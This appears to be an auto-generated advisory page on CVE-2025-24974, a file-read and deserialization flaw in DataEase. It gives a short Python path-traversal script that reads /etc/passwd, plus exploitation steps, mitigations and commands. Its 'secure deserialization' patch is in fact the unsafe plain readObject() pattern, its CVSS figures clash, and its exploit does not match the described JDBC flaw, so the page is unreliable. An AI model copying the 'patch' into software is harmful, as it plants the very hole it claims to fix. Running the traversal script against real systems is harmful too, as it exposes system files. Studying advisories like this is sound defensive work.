How the CVE Works:
CVE-2025-24974 is a critical vulnerability in DataEase, an open-source business intelligence and data visualization tool. The issue exists in versions prior to 2.10.6, where authenticated users can exploit the background JDBC connection to read and deserialize arbitrary files. This occurs due to insufficient validation of user-supplied input during the deserialization process, allowing attackers to manipulate the system into accessing sensitive files or executing arbitrary code. The vulnerability is particularly dangerous because it requires only authenticated access, not administrative privileges, making it easier for attackers to exploit. The flaw has been patched in version 2.10.6, and users are strongly advised to upgrade immediately.
DailyCVE Form:
Platform: DataEase
Version: < 2.10.6
Vulnerability: Arbitrary File Read/Deserialization
Severity: Critical
Date: 03/13/2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
target_url = "http://target/dataease/jdbc"
payload = {"file": "../../../../etc/passwd"}
response = requests.post(target_url, data=payload)
print(response.text)
This script demonstrates how an attacker could exploit the vulnerability to read sensitive files.
2. Exploit Steps:
- Authenticate to the DataEase application.
- Craft a malicious JDBC request with a file path traversal payload.
- Send the request to the vulnerable endpoint to read or deserialize arbitrary files.
Protection:
1. Mitigation:
- Upgrade to DataEase version 2.10.6 or later.
- Implement strict input validation for JDBC connections.
- Restrict file access permissions for authenticated users.
2. Detection:
- Monitor logs for unusual JDBC connection attempts.
- Use intrusion detection systems (IDS) to flag file path traversal patterns.
3. Patch Code:
// Example of secure deserialization in Java
public Object deserialize(InputStream input) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(input);
return ois.readObject();
}
Ensure proper validation and sanitization of input data before deserialization.
4. Analytics:
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
5. Commands:
- Upgrade Command:
sudo apt-get update && sudo apt-get install dataease=2.10.6
- Log Monitoring:
tail -f /var/log/dataease/jdbc.log | grep "traversal"
By following these steps, users can protect their systems from CVE-2025-24974 and mitigate potential risks.
